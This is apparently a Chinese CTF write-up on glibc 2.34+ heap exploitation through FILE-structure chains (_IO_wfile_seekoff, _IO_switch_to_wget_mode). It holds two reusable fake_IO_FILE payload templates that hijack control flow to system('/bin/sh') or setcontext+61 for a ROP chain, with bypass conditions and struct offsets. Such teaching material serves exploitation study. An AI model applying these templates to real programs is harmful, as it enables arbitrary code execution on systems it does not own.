本文最后更新于:2025年6月27日 晚上
2.34取消掉的hook
先端出完整调用链
1 2 exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode __malloc_assert -> __fxprintf -> __vfxprintf ->locked_vfxprintf -> __vfprintf_internal -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode
两个题目的fake_IO_FILE
,当模板用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 fake_IO_FILE = b'/bin/sh\x00' fake_IO_FILE += p64(0 )*4 fake_IO_FILE += p64(1 ) fake_IO_FILE += p64(0 )*3 fake_IO_FILE += p64(1 ) fake_IO_FILE += p64(base+0x21b6a0 +0x60 ) fake_IO_FILE += p64(base+libc.sym.system) fake_IO_FILE = fake_IO_FILE.ljust(0x60 , b'\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0x88 , b'\x00' ) fake_IO_FILE += p64(base+0x21c100 ) fake_IO_FILE = fake_IO_FILE.ljust(0xa0 , b'\x00' ) fake_IO_FILE += p64(base+0x21b6a0 +0x30 ) fake_IO_FILE = fake_IO_FILE.ljust(0xc0 , b'\x00' ) fake_IO_FILE += p64(1 ) fake_IO_FILE = fake_IO_FILE.ljust(0xd8 , b'\x00' ) fake_IO_FILE += p64(base+libc.sym._IO_wfile_jumps+0x30 ) fake_IO_FILE += p64(0 )*6 fake_IO_FILE += p64(base+0x21b6a0 +0x40 ) fake_io_addr=heapbase+0xb00 next_chain = 0 fake_IO_FILE=p64(rdi) fake_IO_FILE+=p64(0 )*7 fake_IO_FILE +=p64(1 )+p64(2 ) fake_IO_FILE +=p64(fake_io_addr+0xb0 ) fake_IO_FILE +=p64(call_addr) fake_IO_FILE = fake_IO_FILE.ljust(0x68 , b'\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0x88 , b'\x00' ) fake_IO_FILE += p64(heapbase+0x1000 ) fake_IO_FILE = fake_IO_FILE.ljust(0xa0 , b'\x00' ) fake_IO_FILE +=p64(fake_io_addr+0x30 ) fake_IO_FILE = fake_IO_FILE.ljust(0xc0 , b'\x00' ) fake_IO_FILE += p64(1 ) fake_IO_FILE = fake_IO_FILE.ljust(0xd8 , b'\x00' ) fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps' ]+0x10 ) fake_IO_FILE +=p64(0 )*6 fake_IO_FILE += p64(fake_io_addr+0x40 )
函数大全
本文提到的fp均为例如stderr+0一般开头偏移为0的完整的fake_IO_FILE,若只能控制不完整的fake_IO_FILE,需要自行调整对应偏移和结构体内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int _IO_flush_all_lockp(int do_lock) { int result = 0 ; FILE *fp; for (fp = (FILE *)_IO_list_all; fp != NULL ; fp = fp->_chain) { if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW(fp, EOF) == EOF) result = EOF; } return result; }
我们会选择fp->_mode>0以去绕过_IO_wfile_seekoff中的一个if,_IO_vtable_offset(fp)==0就是fp->_vtable_offset==0,调试主要用这些
1 2 3 p *stderr p (struct _IO_FILE_plus)*stderr p *stderr->_wide_data
前面通过了然后进_IO_OVERFLOW(fp, EOF)中,_IO_OVERFLOW(fp, EOF)相当于(_IO_FILE_plus)fp->vtable->__overflow,就是我们为(struct _IO_FILE_plus)fp->vtable处我们覆盖的值,(_IO_wfile_jumps+0x30+0x18)(FSOP)/(_IO_wfile_jumps+0x10+0x38)(__malloc_assert)=_IO_wfile_seekoff,前一个加的就是我们在vtable数据段处为_IO_wfile_jumps加的值,后面加的就是看汇编到达对应函数call时候加的值,从而导致一定会跳转到_IO_wfile_seekoff这条链
_IO_wfile_seekoff这里主要是控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base,这样就只能过到_IO_switch_to_wget_mode的_IO_WOVERFLOW,FSOP中相当于fp的_IO_backup_base > _IO_save_base,__malloc_assert中相当于fp的_IO_write_end > _IO_write_ptr
1 2 3 4 5 6 7 8 9 10 11 off64_t _IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode) { if (mode == 0 ) return do_ftell_wide(fp); bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp)); if (was_writing && _IO_switch_to_wget_mode(fp)) return WEOF;
最后需要进入_IO_WOVERFLOW(fp, WEOF),_IO_WOVERFLOW(fp, WEOF)相当于fp->_wide_data->_wide_vtable->__overflow,于是可以控制原fp的_IO_save_end到我们需要call跳转的函数,例如说system、setcontext+61。rdi、rdx、rcx可控,rsi始终为0xffffffff,rcx需要小于rdx,若只执行一个函数,则相当于fp的_flags、_IO_backup_base、_IO_save_base需要被控制,且_IO_save_base需要小于_IO_backup_base。
1 2 3 4 5 6 7 8 9 10 int _IO_switch_to_wget_mode(FILE *fp) { if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) if ((wint_t )_IO_WOVERFLOW(fp, WEOF) == WEOF) return EOF;#define _IO_WOVERFLOW(FP,CH) WJUMP1(__overflow, FP, CH) ((*(__typeof__(((struct _IO_FILE){})._wide_data) *)(((char *)((fp))) + ((size_t )&(((struct _IO_FILE*)0 )->_wide_data))))->_wide_vtable->__overflow)(fp, (0xffffffff u)) fp->_wide_data->_wide_vtable->__overflow
执行的函数若是system,则直接使fp->_flags赋值为字符串”/bin/sh\x00”即可;若是setcontenxt+61,则fp->_IO_backup_base是需要控制的值,如果为&fake_IO_FILE+0xb0,则fake_IO_FILE后方直接跟rdi、rsi、rbp、rbx、rdx、?、rcx、ropchain、ret,但因为ropchain是直接可以被ret到的,所以setcontext部分可以直接填0然后在ropchain处控制寄存器的值完成获得flag,不过若ropchain长度有限刚好差几个寄存器的长度,那么可以试试setcontext。
一些标准的结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 type = struct _IO_FILE { int _flags; char *_IO_read_ptr; char *_IO_read_end; char *_IO_read_base; char *_IO_write_base; char *_IO_write_ptr; char *_IO_write_end; char *_IO_buf_base; char *_IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; int _flags2; __off_t _old_offset; unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; __off64_t _offset; struct _IO_codecvt *_codecvt ; struct _IO_wide_data *_wide_data ; struct _IO_FILE *_freeres_list ; void *_freeres_buf; size_t __pad5; int _mode; char _unused2[20 ]; }struct _IO_FILE_plus +0x0000 file : FILE +0x00d8 vtable : const struct _IO_jump_t *pwndbg > dt "struct _IO_wide_data" struct _IO_wide_data +0x0000 _IO_read_ptr : wchar_t * +0x0008 _IO_read_end : wchar_t * +0x0010 _IO_read_base : wchar_t * +0x0018 _IO_write_base : wchar_t * +0x0020 _IO_write_ptr : wchar_t * +0x0028 _IO_write_end : wchar_t * +0x0030 _IO_buf_base : wchar_t * +0x0038 _IO_buf_end : wchar_t * +0x0040 _IO_save_base : wchar_t * +0x0048 _IO_backup_base : wchar_t * +0x0050 _IO_save_end : wchar_t * +0x0058 _IO_state : __mbstate_t +0x0060 _IO_last_state : __mbstate_t +0x0068 _codecvt : struct _IO_codecvt +0x00d8 _shortbuf : wchar_t [1 ] +0x00e0 _wide_vtable : const struct _IO_jump_t *